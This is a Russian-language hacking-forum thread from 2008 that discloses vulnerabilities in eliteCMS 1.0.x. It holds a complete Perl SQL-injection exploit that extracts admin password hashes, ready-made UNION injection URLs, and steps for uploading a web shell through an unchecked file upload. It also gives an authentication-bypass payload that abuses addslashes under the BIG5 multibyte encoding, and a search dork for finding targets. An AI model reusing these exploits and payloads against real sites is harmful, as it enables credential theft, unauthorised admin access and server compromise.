PDA

Просмотр полной версии : Уязвимости eliteCMS


Dimi4
22.12.2008, 02:21
eliteCMS
SQL-inj
Vulnerability code:
function get_page_settings()
{
global $page_settings;
$query = "SELECT * FROM pages WHERE id = '{$_GET['page']}'";
$result = mysql_query($query);
confirm_query($result);
$page_settings = mysql_fetch_array($result);
return $page_settings;

}

Ну и вообщем первый мой сплойт: :)

#!/usr/bin/perl
system('cls');

#************************************************* ****************************
#************************************************* ****************************
#** Written by Dimi4, **
#** Greetings to antichat && elwaux **
#** dork:""Powored by Elite CMS" **
#** version:1.0.x **
#** magic_qotes_gpc=OFF **
#** **
#************************************************* ****************************
# ************************************************** **************************

use IO::Socket;

print "\n +-------------------------------------------------------------+\n";
print " | eliteCMS 1.0.x Sql-Injection Exploit |\n";
print " | By Dimi4 |\n";
print " +-------------------------------------------------------------+\n\n";

if (@ARGV < 3)
{
print " [i] usage:\r\n";
print " eliteCMS.pl Server Dir Username\r\n\r\n";
print " SERVER - Server where eliteCMS was installed.\r\n";
print " DIR - eliteCMS directory or / for parent.\r\n";
print " Username - Targer username(default - admin).\r\n";
print "\n [i] Example:\r\n";
print " eliteCMS.pl 192.168.168.1 / admin2\n";
<stdin>;
exit();
}

$serv = $ARGV[0];
$dir = $ARGV[1];
$username = $ARGV[2];


$serv =~ s/http:\/\///ge;
$delimit = "0x336c317433636d353378706c303174";

$sploit = 'http://'.$serv.'/'.
'index.php?page=1\'+union+select+1,concat'.
'(user_name,\''.$delimit.'\',h_password)'.
',3,4,5,6,7,8,9,10,11+from+users+where+user_name=\ ''.$username.'\'+'.
'limit+1,1%23';


$sock = IO::Socket::INET->new(
Proto=>"tcp",
PeerAddr=>"$serv",
PeerPort=>"80") or die " [-] could not connect to host.\n";

print " [+] connecting OK\n";

print " [+] sending exploit..\n";

print $sock "GET $sploit HTTP/1.1\n";
print $sock "Host: $serv\n\n";
read($sock,my $answer,1000);
$success = 0;
print " [+] In progress...\n";

if ($answer=~ /$delimit/) {
$answer =~ /$username$delimit(.*)::-::<\/title>/;
print " [+] Exploit succeeded...\n";
print ' [+] Targer: '.$serv."\n";
print ' [+] Username: '.$username."\n";
print ' [+] Password: '.$1."\n";
exit();
} else
{ print " [-] FAILED!\n"; exit(); }



close($sock);


<stdin>;
exit();
Спасибо elwaux за помощь в перел)

Всё те же иньекции:
http://127.0.0.1/eliteCMS/index.php?page=1'+union+select+1,concat(user_name, 0x20336c317433636d353378706c30317420,h_password),3 ,4,5,6,7,8,9,10,11+from+users+limit+1,1/*
Админка:
На первой страницы виден полный путь. Если хватит прав можно залить шелл через скулю.
Скули в админке:
http://127.0.0.1/eliteCMS/admin/edit_page.php?page=3+union+select+1,2,3,4,5,6,7,8, 9,10,11/*

SQL-inj
Vulnerability code:

function get_page($page_id)
{
$query = "SELECT * FROM ";
$query .= "posts ";
$query .= "WHERE page_id =" . $page_id . " ";
$query .= "AND active = 1 ";
$query .= " ORDER BY position";
$result = mysql_query($query);
$check = mysql_num_rows($result);
confirm_query($result);
if ($check != 0) {
while ($page = mysql_fetch_array($result)) {
echo "<h1>" . $page['title'] . "</h1>\n";
echo "<p>" . $page['content'] . "</p>\n";

}
URL:
http://127.0.0.1/eliteCMS/admin/edit_post.php?page=1&post=1+union+select+1,2,3,4,user(),version()/*

SQL-inj
Vulnerability code:

function get_sidebar($page_id)
{
$query = "SELECT * FROM ";
$query .= "sidebar ";
$query .= "WHERE page_id =" . $page_id . " ";
//$query .= "AND active = 1 ";
$query .= " ORDER BY position";
$result = mysql_query($query);
confirm_query($result);
while ($sidebar = mysql_fetch_array($result)) {
echo "<h2>" . $sidebar['title'] . "</h2>";
echo "<p>" . $sidebar['content'] . "</p>";
echo "<p></p>";

}

}
URL:
http://127.0.0.1/eliteCMS/admin/dit_sidebar.php?page=1&sidebar=2+union+select+1,2,3,user(),version()/*
Форум пробелы в експлойт подобавлял :(
Рабочий в атаче
Такс.. Иду спать.. потом допишу :)

Dimi4
22.12.2008, 02:26
Заливка шелла:

Код:

if (!file_exists($upload_path)) {

if ($_FILES['file']['size'] < 100000000000 && $_FILES['file']['size'] > 0) {

if ($_FILES['file']['error']) {
echo "Error: " . $_FILES['file']['error'];
} else {
// Success!

$successMSG = "File successfully uploaded.";

Нет проверки на расширение))

Шелл: http://127.0.0.1/eliteCMS/uploads/shell.php

Dimi4
22.12.2008, 21:53
Обход авторизации в админке.
Так как даная цмс еще не очень популярна (надеюсь не станет ей до исправления багов :D ) такой случай очень редкий.

Требования:

PHP: < v4.3.0
magic_qoutes_gpc: OFF
character_set_results: BIG5 (Или любая другая мультибайтовая кодировка - SJIS, BIG5 и GBK)

Уязвимая функция (functions.php)


function mysql_prep($value)
{
$magic_quotes_active = get_magic_quotes_gpc();
$new_enough_php = function_exists("mysql_real_escape_string"); // i.e. PHP >= v4.3.0
if ($new_enough_php) { // PHP v4.3.0 or higher
// undo any magic quote effects so mysql_real_escape_string can do the work
if ($magic_quotes_active) {
$value = stripslashes($value);
}
$value = mysql_real_escape_string($value);
} else { // before PHP v4.3.0

if (!$magic_quotes_active) {
$value = addslashes($value);
}

}
return $value;
}

addslashes() Перед одинарными и двойными кавычками, беклсешем, нуллбайтом добавляет обратный слэш. В мультибайтовой BIG5 кодировке 0xa327 - неверный символ, но после слеширования, у - 0xa35c27. 0xa35c для BIG5 корректный символ. Но и 0х27 станет отдельным и кавычка не будет экранироватся.

Другой уязвимый кусок кода:
$user_name = mysql_prep($_POST['user_name']);
$password = mysql_prep($_POST['password']);
$h_password = sha1($password);

$query = " SELECT id, user_name, s_admin ";
$query .= " FROM users ";
$query .= " WHERE user_name = '{$user_name}' ";
$query .= " AND h_password = '{$h_password}' ";
$query .= " AND active = 1 ";
$query .= " LIMIT 1 ";
$result = mysql_query($query);

if (mysql_num_rows($result) == 1) {
$valid_user = mysql_fetch_array($result);
$_SESSION['user_id'] = $valid_user['id'];
$_SESSION['user_name'] = $valid_user['user_name'];
$_SESSION['s_admin'] = $valid_user['s_admin'];
redirect_to("index.php");
Пример для пост заголовка на пхп:

$header .= chr(0xa3).chr(0x27).' OR 1=1 /*';

Sql запрос примет такой вид:

$query = " SELECT id, user_name, s_admin FROM users WHERE user_name = 'значение+0xa35c+' OR 1=1 /*' AND h_password = '{$h_password}' AND active = 1 LIMIT 1 ";
Таким образом пройдем авторизацию :)

Спасибо [Raz0r] За статью в блоге
Спасибо The:Paradox за експлойт для SMF <= 1.1.4